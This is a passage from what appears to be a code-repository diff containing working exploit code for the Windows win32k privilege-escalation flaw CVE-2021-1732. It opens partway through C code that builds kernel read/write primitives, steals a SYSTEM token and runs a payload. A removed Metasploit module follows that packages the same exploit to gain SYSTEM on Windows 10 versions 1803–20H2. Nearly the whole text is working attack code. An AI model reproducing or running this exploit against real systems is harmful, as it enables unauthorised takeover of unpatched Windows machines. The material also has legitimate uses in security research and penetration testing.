} else {
if (g_qwMinBaseAddress < (QWORD)Buffer.BaseAddress) {
} else {
g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress;
g_qwRegionSize = Buffer.RegionSize;
}
}
}
Thrdeskhead_cLockObj1 = ((DWORD*)arrEntryDesktop[0])[2];
Thrdeskhead_cLockObj2 = ((DWORD*)arrEntryDesktop[1])[2];
g_hWndMin = *(HWND*)((PBYTE)arrhwndNoraml + (Thrdeskhead_cLockObj2 < Thrdeskhead_cLockObj1 ? 8 : 0));
dwIndex = (Thrdeskhead_cLockObj1 < Thrdeskhead_cLockObj2) ? 1 : 0;
g_hWndMax = arrhwndNoraml[dwIndex];
QWORD firstEntryDesktop_Max = arrEntryDesktop[dwIndex];
firstEntryDesktop_Max = arrEntryDesktop[dwIndex];
QWORD firstEntryDesktop_Min = *(QWORD*)((PBYTE)arrEntryDesktop + (Thrdeskhead_cLockObj2 < Thrdeskhead_cLockObj1 ? 8 : 0));
g_Thrdeskhead_cLockobj_Min = *(DWORD*)(firstEntryDesktop_Min + 8);
g_Thrdeskhead_cLockboj_Max = *(DWORD*)(firstEntryDesktop_Max + 8);
for (dwIndex = 2; dwIndex < 10; dwIndex += 1) {
DestroyWindow(arrhwndNoraml[dwIndex]);
}
NtUserConsoleControl(6, &g_hWndMin, 0x10);
DWORD WndMin_WndExtra = *(DWORD*)(firstEntryDesktop_Min + offset_tagWND_WndExtra);
DWORD WndMax_WndExtra = *(DWORD*)(firstEntryDesktop_Max + offset_tagWND_WndExtra);
HWND g_hWndMagic = CreateWindowExW(
WS_EX_NOACTIVATE,
(LPCWSTR)g_lpWcxMagic,
L"somewnd",
WS_DISABLED,
0,
0,
0,
0,
0,
CreateMenu(),
GetModuleHandleW(NULL),
NULL);
SetWindowLongW(g_hWndMagic, offset_tagWND_WndExtra, g_Thrdeskhead_cLockobj_Min);
SetWindowLongW(g_hWndMagic, 0xc8, 0xffffffff);
qwRPDesk = *(QWORD*)(firstEntryDesktop_Max + 0x18);
SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + 0x18, qwRPDesk ^ 0x4000000000000000);
qwExploit = SetWindowLongPtrA(g_hWndMax, -12, pMem4);
SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + 0x18, qwRPDesk);
/* at this point the read primitive has been setup */
QWORD qwFrist = KernelRead(qwExploit + 0x50);
QWORD qwThird = KernelRead(KernelRead(qwFrist + 0x18) + 0x80);
ULONG_PTR EProcess = KernelRead(KernelRead(KernelRead(qwFrist + 0x10)) + 0x220);
if (EProcess) {
/* there is a small possibility that the exploit process up until now has failed and that EProcess is zero */
UpgradeToken(EProcess);
ExecutePayload(pPayload);
}
ULONG_PTR pWndMagic = (ULONG_PTR)HMValidateHandle(g_hWndMagic, TYPE_WINDOW);
ULONG_PTR qwcbwndExtra = *(ULONG_PTR*)(pWndMagic + 0xe0) ^ 0x80000000000;
KernelWrite(qwThird + *(DWORD*)(pWndMagic + sizeof(PVOID)) + offset_tagWND_WndExtra, 0);
KernelWrite(qwThird + *(DWORD*)(pWndMagic + sizeof(PVOID)) + 0xe0, qwcbwndExtra);
SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + 0x18, qwRPDesk ^ 0x4000000000000000);
SetWindowLongPtrA(g_hWndMax, -12, qwExploit);
SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + 0x18, qwRPDesk);
SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + offset_tagWND_WndExtra, WndMax_WndExtra);
SetWindowLongPtrA(g_hWndMin, offset_tagWND_WndExtra, WndMin_WndExtra);
return 0;
}

View File

@ -1,113 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Win32k ConsoleControl Offset Confusion',
'Description' => %q{
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of
NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being
treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to
achieve an out of bounds write operation, eventually leading to privilege escalation.
},
'License' => MSF_LICENSE,
'Author' => [
'BITTER APT', # exploit as used in the wild
'JinQuan', # detailed analysis
'MaDongZe', # detailed analysis
'TuXiaoYi', # detailed analysis
'LiHao', # detailed analysis
'KaLendsi', # github poc targeting v1909
'Spencer McIntyre' # metasploit module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 10 v1803-20H2 x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' => {
'DisableNops' => true
},
'References' => [
[ 'CVE', '2021-1732' ],
[ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ],
[ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ],
[ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ],
[ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ],
# the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit
[ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ],
[ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ],
[ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ],
[ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ]
],
'DisclosureDate' => '2021-02-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'SideEffects' => []
}
}
)
)
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Windows Build Number = #{build_num}")
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19042)
print_error('The exploit only supports Windows 10 versions 1803 - 20H2')
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-1732', 'CVE-2021-1732.x64.dll'),
[encoded_payload.length].pack('I<') + encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end